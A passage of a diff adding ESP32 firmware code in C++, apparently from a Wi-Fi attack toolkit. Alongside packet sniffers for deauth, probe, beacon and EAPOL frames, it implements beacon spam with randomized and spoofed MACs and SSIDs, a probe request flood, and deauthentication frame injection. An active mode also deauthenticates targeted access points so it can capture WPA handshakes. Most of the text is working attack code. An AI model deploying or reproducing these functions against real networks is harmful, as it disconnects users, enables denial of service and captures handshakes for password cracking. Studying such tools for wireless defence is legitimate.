+    display_string.concat(snifferPacket->rx_ctrl.rssi);
+
+    display_string.concat(" ");
+    display_string.concat(addr);
+  }
+
+  int temp_len = display_string.length();
+
+  #ifdef HAS_SCREEN
+    for (int i = 0; i < 40 - temp_len; i++)
+    {
+      display_string.concat(" ");
+    }
+
+    Serial.print(" ");
+
+    if (display_obj.display_buffer->size() == 0)
+    {
+      display_obj.loading = true;
+      display_obj.display_buffer->add(display_string);
+      display_obj.loading = false;
+    }
+  #endif
+
+  Serial.println();
+
+  addPacket(snifferPacket, len);
+}
+
+void WiFiScan::deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+
+    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
+    #ifdef HAS_SCREEN
+      int buf = display_obj.display_buffer->size();
+    #else
+      int buf = 0;
+    #endif
+    if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ) && (buf == 0))
+    {
+      delay(random(0, 10));
+      Serial.print("RSSI: ");
+      Serial.print(snifferPacket->rx_ctrl.rssi);
+      Serial.print(" Ch: ");
+      Serial.print(snifferPacket->rx_ctrl.channel);
+      Serial.print(" BSSID: ");
+      char addr[] = "00:00:00:00:00:00";
+      char dst_addr[] = "00:00:00:00:00:00";
+      getMAC(addr, snifferPacket->payload, 10);
+      getMAC(dst_addr, snifferPacket->payload, 4);
+      Serial.print(addr);
+      Serial.print(" -> ");
+      Serial.print(dst_addr);
+      display_string.concat(text_table4[0]);
+      display_string.concat(snifferPacket->rx_ctrl.rssi);
+
+      display_string.concat(" ");
+      display_string.concat(addr);
+
+      #ifdef HAS_SCREEN
+        for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
+        {
+          display_string.concat(" ");
+        }
+  
+        Serial.print(" ");
+  
+        if (display_obj.display_buffer->size() == 0)
+        {
+          display_obj.loading = true;
+          display_obj.display_buffer->add(display_string);
+          display_obj.loading = false;
+        }
+      #endif
+      
+      Serial.println();
+
+      addPacket(snifferPacket, len);
+    }
+  }
+}
+
+void WiFiScan::probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+
+
+    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
+    #ifdef HAS_SCREEN
+      int buf = display_obj.display_buffer->size();
+    #else
+      int buf = 0;
+    #endif
+    if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
+    {
+      delay(random(0, 10));
+      Serial.print("RSSI: ");
+      Serial.print(snifferPacket->rx_ctrl.rssi);
+      Serial.print(" Ch: ");
+      Serial.print(snifferPacket->rx_ctrl.channel);
+      Serial.print(" Client: ");
+      char addr[] = "00:00:00:00:00:00";
+      getMAC(addr, snifferPacket->payload, 10);
+      Serial.print(addr);
+      display_string.concat(addr);
+      Serial.print(" Requesting: ");
+      display_string.concat(" -> ");
+      for (int i = 0; i < snifferPacket->payload[25]; i++)
+      {
+        Serial.print((char)snifferPacket->payload[26 + i]);
+        display_string.concat((char)snifferPacket->payload[26 + i]);
+      }
+
+      // Print spaces because of the rotating lines of the hardware scroll.
+      // The same characters print from previous lines so I just overwrite them
+      // with spaces.
+      #ifdef HAS_SCREEN
+        for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
+        {
+          display_string.concat(" ");
+        }
+  
+        if (display_obj.display_buffer->size() == 0)
+        {
+          //while (display_obj.printing)
+          //  delay(1);
+          display_obj.loading = true;
+          display_obj.display_buffer->add(display_string);
+          display_obj.loading = false;
+        }
+      #endif
+      
+      Serial.println();    
+
+      addPacket(snifferPacket, len);
+    }
+  }
+}
+
+void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+  String essid = "";
+  bool found = false;
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+
+
+    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
+    #ifdef HAS_SCREEN
+      int buf = display_obj.display_buffer->size();
+    #else
+      int buf = 0;
+    #endif
+    if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
+    {
+
+      for (uint8_t i = 0; i < snifferPacket->payload[25]; i++)
+      {
+        essid.concat((char)snifferPacket->payload[26 + i]);
+      }
+
+      for (int i = 0; i < ssids->size(); i++) {
+        if (ssids->get(i).essid == essid) {
+          Serial.println("Found a sheep");
+          found = true;
+          break;
+        }
+      }
+
+      if (!found)
+        return;
+      
+      delay(random(0, 10));
+      Serial.print("RSSI: ");
+      Serial.print(snifferPacket->rx_ctrl.rssi);
+      Serial.print(" Ch: ");
+      Serial.print(snifferPacket->rx_ctrl.channel);
+      Serial.print(" Client: ");
+      char addr[] = "00:00:00:00:00:00";
+      getMAC(addr, snifferPacket->payload, 10);
+      Serial.print(addr);
+      display_string.concat(addr);
+      Serial.print(" Requesting: ");
+      display_string.concat(" -> ");
+
+      // ESSID
+      for (int i = 0; i < snifferPacket->payload[25]; i++)
+      {
+        Serial.print((char)snifferPacket->payload[26 + i]);
+        display_string.concat((char)snifferPacket->payload[26 + i]);
+      }
+
+      // Print spaces because of the rotating lines of the hardware scroll.
+      // The same characters print from previous lines so I just overwrite them
+      // with spaces.
+      #ifdef HAS_SCREEN
+        for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
+        {
+          display_string.concat(" ");
+        }
+  
+        if (display_obj.display_buffer->size() == 0)
+        {
+          display_obj.loading = true;
+          display_obj.display_buffer->add(display_string);
+          display_obj.loading = false;
+        }
+      #endif
+      
+      Serial.println();    
+
+      addPacket(snifferPacket, len);
+    }
+  }
+}
+
+void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid) {
+  set_channel = random(1,12); 
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  delay(1);  
+
+  if (custom_ssid.beacon->size() == 0)
+    return;
+
+
+  // Randomize SRC MAC
+  // Randomize SRC MAC
+  packet[10] = packet[16] = random(256);
+  packet[11] = packet[17] = random(256);
+  packet[12] = packet[18] = random(256);
+  packet[13] = packet[19] = random(256);
+  packet[14] = packet[20] = random(256);
+  packet[15] = packet[21] = random(256);
+
+  char ESSID[custom_ssid.essid.length() + 1] = {};
+  custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
+
+  int realLen = strlen(ESSID);
+  int ssidLen = random(realLen, 33);
+  int numSpace = ssidLen - realLen;
+  //int rand_len = sizeof(rand_reg);
+  int fullLen = ssidLen;
+  packet[37] = fullLen;
+
+  // Insert my tag
+  for(int i = 0; i < realLen; i++)
+    packet[38 + i] = ESSID[i];
+
+  for(int i = 0; i < numSpace; i++)
+    packet[38 + realLen + i] = 0x20;
+
+  /////////////////////////////
+  
+  packet[50 + fullLen] = set_channel;
+
+  uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
+                      0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
+
+
+
+  // Add everything that goes after the SSID
+  //for(int i = 0; i < 12; i++) 
+  //  packet[38 + fullLen + i] = postSSID[i];
+
+  packet[34] = custom_ssid.beacon->get(0);
+  packet[35] = custom_ssid.beacon->get(1);
+  
+
+  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+
+  packets_sent = packets_sent + 3;
+}
+
+void WiFiScan::broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid) {
+  set_channel = custom_ssid.channel;
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  delay(1);  
+
+  // Randomize SRC MAC
+  packet[10] = packet[16] = custom_ssid.bssid[0];
+  packet[11] = packet[17] = custom_ssid.bssid[1];
+  packet[12] = packet[18] = custom_ssid.bssid[2];
+  packet[13] = packet[19] = custom_ssid.bssid[3];
+  packet[14] = packet[20] = custom_ssid.bssid[4];
+  packet[15] = packet[21] = custom_ssid.bssid[5];
+
+  char ESSID[custom_ssid.essid.length() + 1] = {};
+  custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
+
+  int ssidLen = strlen(ESSID);
+  //int rand_len = sizeof(rand_reg);
+  int fullLen = ssidLen;
+  packet[37] = fullLen;
+
+  // Insert my tag
+  for(int i = 0; i < ssidLen; i++)
+    packet[38 + i] = ESSID[i];
+
+  /////////////////////////////
+  
+  packet[50 + fullLen] = set_channel;
+
+  uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
+                      0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
+
+
+
+  // Add everything that goes after the SSID
+  for(int i = 0; i < 12; i++) 
+    packet[38 + fullLen + i] = postSSID[i];
+  
+
+  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+
+  packets_sent = packets_sent + 3;
+}
+
+// Function to send beacons with random ESSID length
+void WiFiScan::broadcastSetSSID(uint32_t current_time, const char* ESSID) {
+  set_channel = random(1,12); 
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  delay(1);  
+
+  // Randomize SRC MAC
+  packet[10] = packet[16] = random(256);
+  packet[11] = packet[17] = random(256);
+  packet[12] = packet[18] = random(256);
+  packet[13] = packet[19] = random(256);
+  packet[14] = packet[20] = random(256);
+  packet[15] = packet[21] = random(256);
+
+  int ssidLen = strlen(ESSID);
+  //int rand_len = sizeof(rand_reg);
+  int fullLen = ssidLen;
+  packet[37] = fullLen;
+
+  // Insert my tag
+  for(int i = 0; i < ssidLen; i++)
+    packet[38 + i] = ESSID[i];
+
+  /////////////////////////////
+  
+  packet[50 + fullLen] = set_channel;
+
+  uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
+                      0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
+
+
+
+  // Add everything that goes after the SSID
+  for(int i = 0; i < 12; i++) 
+    packet[38 + fullLen + i] = postSSID[i];
+  
+
+  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+
+  packets_sent = packets_sent + 3;
+  
+}
+
+// Function for sending crafted beacon frames
+void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
+
+  set_channel = random(1,12); 
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  delay(1);  
+
+  // Randomize SRC MAC
+  packet[10] = packet[16] = random(256);
+  packet[11] = packet[17] = random(256);
+  packet[12] = packet[18] = random(256);
+  packet[13] = packet[19] = random(256);
+  packet[14] = packet[20] = random(256);
+  packet[15] = packet[21] = random(256);
+
+  packet[37] = 6;
+  
+  
+  // Randomize SSID (Fixed size 6. Lazy right?)
+  packet[38] = alfa[random(65)];
+  packet[39] = alfa[random(65)];
+  packet[40] = alfa[random(65)];
+  packet[41] = alfa[random(65)];
+  packet[42] = alfa[random(65)];
+  packet[43] = alfa[random(65)];
+  
+  packet[56] = set_channel;
+
+  uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
+                      0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
+
+
+
+  // Add everything that goes after the SSID
+  for(int i = 0; i < 12; i++) 
+    packet[38 + 6 + i] = postSSID[i];
+
+  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+  //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
+  //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
+
+  packets_sent = packets_sent + 3;
+}
+
+// Function to send probe flood to all "active" access points
+void WiFiScan::sendProbeAttack(uint32_t currentTime) {
+  // Itterate through all access points in list
+  for (int i = 0; i < access_points->size(); i++) {
+
+    // Check if active
+    if (access_points->get(i).selected) {
+      this->set_channel = access_points->get(i).channel;
+      esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
+      delay(1);
+      
+      // Build packet
+      // Randomize SRC MAC
+      
+      prob_req_packet[10] = random(256);
+      prob_req_packet[11] = random(256);
+      prob_req_packet[12] = random(256);
+      prob_req_packet[13] = random(256);
+      prob_req_packet[14] = random(256);
+      prob_req_packet[15] = random(256);
+
+      // Set SSID length
+      int ssidLen = access_points->get(i).essid.length();
+      int fullLen = ssidLen;
+      prob_req_packet[25] = fullLen;
+
+      // Insert ESSID
+      char buf[access_points->get(i).essid.length() + 1] = {};
+      access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
+      
+      for(int i = 0; i < ssidLen; i++)
+        prob_req_packet[26 + i] = buf[i];
+
+      uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12, 
+                              0x18, 0x24, 0x30, 0x48, 0x60, 0x6c, 
+                              0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff, 
+                              0xff, 0x00, 0x00, 0x7e, 0x00, 0x00, 
+                              0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 
+                              0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
+                              0x00, 0x00, 0x00, 0x00};
+
+      uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
+      
+      for (int i = 0; i < 26 + fullLen; i++)
+        good_probe_req_packet[i] = prob_req_packet[i];
+
+      for(int i = 0; i < 40; i++) 
+        good_probe_req_packet[26 + fullLen + i] = postSSID[i];
+
+      
+
+      // Send packet
+      esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
+      esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
+      esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
+
+      packets_sent = packets_sent + 3;
+    }
+  }
+}
+
+void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel, uint8_t mac[6]) {
+  WiFiScan::set_channel = channel;
+  esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
+  delay(1);
+  
+  // Build AP source packet
+  deauth_frame_default[4] = mac[0];
+  deauth_frame_default[5] = mac[1];
+  deauth_frame_default[6] = mac[2];
+  deauth_frame_default[7] = mac[3];
+  deauth_frame_default[8] = mac[4];
+  deauth_frame_default[9] = mac[5];
+  
+  deauth_frame_default[10] = bssid[0];
+  deauth_frame_default[11] = bssid[1];
+  deauth_frame_default[12] = bssid[2];
+  deauth_frame_default[13] = bssid[3];
+  deauth_frame_default[14] = bssid[4];
+  deauth_frame_default[15] = bssid[5];
+
+  deauth_frame_default[16] = bssid[0];
+  deauth_frame_default[17] = bssid[1];
+  deauth_frame_default[18] = bssid[2];
+  deauth_frame_default[19] = bssid[3];
+  deauth_frame_default[20] = bssid[4];
+  deauth_frame_default[21] = bssid[5];      
+
+  // Send packet
+  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+
+  packets_sent = packets_sent + 3;
+
+  // Build AP dest packet
+  deauth_frame_default[4] = bssid[0];
+  deauth_frame_default[5] = bssid[1];
+  deauth_frame_default[6] = bssid[2];
+  deauth_frame_default[7] = bssid[3];
+  deauth_frame_default[8] = bssid[4];
+  deauth_frame_default[9] = bssid[5];
+  
+  deauth_frame_default[10] = mac[0];
+  deauth_frame_default[11] = mac[1];
+  deauth_frame_default[12] = mac[2];
+  deauth_frame_default[13] = mac[3];
+  deauth_frame_default[14] = mac[4];
+  deauth_frame_default[15] = mac[5];
+
+  deauth_frame_default[16] = mac[0];
+  deauth_frame_default[17] = mac[1];
+  deauth_frame_default[18] = mac[2];
+  deauth_frame_default[19] = mac[3];
+  deauth_frame_default[20] = mac[4];
+  deauth_frame_default[21] = mac[5];      
+
+  // Send packet
+  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+
+  packets_sent = packets_sent + 3;
+}
+
+void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str) {
+  // Itterate through all access points in list
+  // Check if active
+  WiFiScan::set_channel = channel;
+  esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
+  delay(1);
+  
+  // Build packet
+
+  sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx", 
+        &deauth_frame_default[4], &deauth_frame_default[5], &deauth_frame_default[6], &deauth_frame_default[7], &deauth_frame_default[8], &deauth_frame_default[9]);
+  
+  deauth_frame_default[10] = bssid[0];
+  deauth_frame_default[11] = bssid[1];
+  deauth_frame_default[12] = bssid[2];
+  deauth_frame_default[13] = bssid[3];
+  deauth_frame_default[14] = bssid[4];
+  deauth_frame_default[15] = bssid[5];
+
+  deauth_frame_default[16] = bssid[0];
+  deauth_frame_default[17] = bssid[1];
+  deauth_frame_default[18] = bssid[2];
+  deauth_frame_default[19] = bssid[3];
+  deauth_frame_default[20] = bssid[4];
+  deauth_frame_default[21] = bssid[5];      
+
+  // Send packet
+  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+
+  packets_sent = packets_sent + 3;
+}
+
+void WiFiScan::sendDeauthAttack(uint32_t currentTime, String dst_mac_str) {
+  // Itterate through all access points in list
+  for (int i = 0; i < access_points->size(); i++) {
+
+    // Check if active
+    if (access_points->get(i).selected) {
+      this->set_channel = access_points->get(i).channel;
+      esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
+      delay(1);
+      
+      // Build packet
+
+      sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx", 
+            &deauth_frame_default[4], &deauth_frame_default[5], &deauth_frame_default[6], &deauth_frame_default[7], &deauth_frame_default[8], &deauth_frame_default[9]);
+      
+      deauth_frame_default[10] = access_points->get(i).bssid[0];
+      deauth_frame_default[11] = access_points->get(i).bssid[1];
+      deauth_frame_default[12] = access_points->get(i).bssid[2];
+      deauth_frame_default[13] = access_points->get(i).bssid[3];
+      deauth_frame_default[14] = access_points->get(i).bssid[4];
+      deauth_frame_default[15] = access_points->get(i).bssid[5];
+
+      deauth_frame_default[16] = access_points->get(i).bssid[0];
+      deauth_frame_default[17] = access_points->get(i).bssid[1];
+      deauth_frame_default[18] = access_points->get(i).bssid[2];
+      deauth_frame_default[19] = access_points->get(i).bssid[3];
+      deauth_frame_default[20] = access_points->get(i).bssid[4];
+      deauth_frame_default[21] = access_points->get(i).bssid[5];      
+
+      // Send packet
+      esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+      esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+      esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+
+      packets_sent = packets_sent + 3;
+    }
+  }
+}
+
+
+void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+
+  #ifdef HAS_SCREEN
+    int buff = display_obj.display_buffer->size();
+  #else
+    int buff = 0;
+  #endif
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+
+    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
+    #ifdef HAS_ILI9341
+      if (snifferPacket->payload[0] == 0x80)
+      {
+        num_beacon++;
+      }
+      else if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ))
+      {
+        num_deauth++;
+      }
+      else if (snifferPacket->payload[0] == 0x40)
+      {
+        num_probe++;
+      }
+    #endif
+
+    char addr[] = "00:00:00:00:00:00";
+    getMAC(addr, snifferPacket->payload, 10);
+    display_string.concat(addr);
+
+    int temp_len = display_string.length();
+
+    #ifdef HAS_SCREEN
+      for (int i = 0; i < 40 - temp_len; i++)
+      {
+        display_string.concat(" ");
+      }
+    
+      //Serial.print(" ");
+    
+      #ifdef MARAUDER_MINI
+        if (display_obj.display_buffer->size() == 0)
+        {
+          display_obj.loading = true;
+          display_obj.display_buffer->add(display_string);
+          display_obj.loading = false;
+        }
+      #endif
+    #endif
+
+    addPacket(snifferPacket, len);
+  }
+}
+
+void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+  extern WiFiScan wifi_scan_obj;
+  bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
+  
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+  }
+
+  #ifdef HAS_SCREEN
+    int buff = display_obj.display_buffer->size();
+  #else
+    int buff = 0;
+  #endif
+
+  // Found beacon frame. Decide whether to deauth
+  if (send_deauth) {
+    if (snifferPacket->payload[0] == 0x80) {    
+      // Build packet
+      
+      wifi_scan_obj.deauth_frame_default[10] = snifferPacket->payload[10];
+      wifi_scan_obj.deauth_frame_default[11] = snifferPacket->payload[11];
+      wifi_scan_obj.deauth_frame_default[12] = snifferPacket->payload[12];
+      wifi_scan_obj.deauth_frame_default[13] = snifferPacket->payload[13];
+      wifi_scan_obj.deauth_frame_default[14] = snifferPacket->payload[14];
+      wifi_scan_obj.deauth_frame_default[15] = snifferPacket->payload[15];
+    
+      wifi_scan_obj.deauth_frame_default[16] = snifferPacket->payload[10];
+      wifi_scan_obj.deauth_frame_default[17] = snifferPacket->payload[11];
+      wifi_scan_obj.deauth_frame_default[18] = snifferPacket->payload[12];
+      wifi_scan_obj.deauth_frame_default[19] = snifferPacket->payload[13];
+      wifi_scan_obj.deauth_frame_default[20] = snifferPacket->payload[14];
+      wifi_scan_obj.deauth_frame_default[21] = snifferPacket->payload[15];      
+    
+      // Send packet
+      esp_wifi_80211_tx(WIFI_IF_AP, wifi_scan_obj.deauth_frame_default, sizeof(wifi_scan_obj.deauth_frame_default), false);
+      delay(1);
+    }
+
+
+  }
+
+  if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
+    num_eapol++;
+    Serial.println("Received EAPOL:");
+
+    char addr[] = "00:00:00:00:00:00";
+    getMAC(addr, snifferPacket->payload, 10);
+    display_string.concat(addr);
+
+    int temp_len = display_string.length();
+
+   #ifdef HAS_SCREEN
+      for (int i = 0; i < 40 - temp_len; i++)
+      {
+        display_string.concat(" ");
+      }
+
+      Serial.print(" ");
+
+      #ifdef MARAUDER_MINI
+        if (display_obj.display_buffer->size() == 0)
+        {
+          display_obj.loading = true;
+          display_obj.display_buffer->add(display_string);
+          display_obj.loading = false;
+        }
+      #endif
+    #else
+      Serial.println(addr);    
+    #endif
+  }
+
+  addPacket(snifferPacket, len);
+}
+
+void WiFiScan::activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+  extern WiFiScan wifi_scan_obj;
+
+  bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
+  
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+  }
+  
+  // Found beacon frame. Decide whether to deauth
+
+  if (snifferPacket->payload[0] == 0x80) {   
+
+    // Do target stuff
+    if (wifi_scan_obj.currentScanMode == WIFI_SCAN_ACTIVE_LIST_EAPOL) {
+      bool found = false;
+
+      // Check list of APs
+      for (int i = 0; i < access_points->size(); i++) {
+        if (access_points->get(i).selected) {
+          uint8_t addr[] = {snifferPacket->payload[10],
+                            snifferPacket->payload[11],
+                            snifferPacket->payload[12],
+                            snifferPacket->payload[13],
+                            snifferPacket->payload[14],
+                            snifferPacket->payload[15]};
+          // Compare AP bssid to ssid of recvd packet
+          for (int x = 0; x < 6; x++) {
+            if (addr[x] != access_points->get(i).bssid[x]) {
+              found = false;
+              break;
+            }
+            else
+              found = true;
+          }
+          if (found) {
+            Serial.println("Received beacon from " + access_points->get(i).essid + ". Deauthenticating...");
+            break;
+          }
+        }
+      }
+      if (!found)
+        return;      
+    } // End targeted stuff 
+    // Build packet
+    
+    wifi_scan_obj.deauth_frame_default[10] = snifferPacket->payload[10];
+    wifi_scan_obj.deauth_frame_default[11] = snifferPacket->payload[11];
+    wifi_scan_obj.deauth_frame_default[12] = snifferPacket->payload[12];
+    wifi_scan_obj.deauth_frame_default[13] = snifferPacket->payload[13];
+    wifi_scan_obj.deauth_frame_default[14] = snifferPacket->payload[14];
+    wifi_scan_obj.deauth_frame_default[15] = snifferPacket->payload[15];
+  
+    wifi_scan_obj.deauth_frame_default[16] = snifferPacket->payload[10];
+    wifi_scan_obj.deauth_frame_default[17] = snifferPacket->payload[11];
+    wifi_scan_obj.deauth_frame_default[18] = snifferPacket->payload[12];
+    wifi_scan_obj.deauth_frame_default[19] = snifferPacket->payload[13];
+    wifi_scan_obj.deauth_frame_default[20] = snifferPacket->payload[14];
+    wifi_scan_obj.deauth_frame_default[21] = snifferPacket->payload[15];      
+  
+    // Send packet
+    esp_wifi_80211_tx(WIFI_IF_AP, wifi_scan_obj.deauth_frame_default, sizeof(wifi_scan_obj.deauth_frame_default), false);
+    delay(1);
+  }
+
+
+
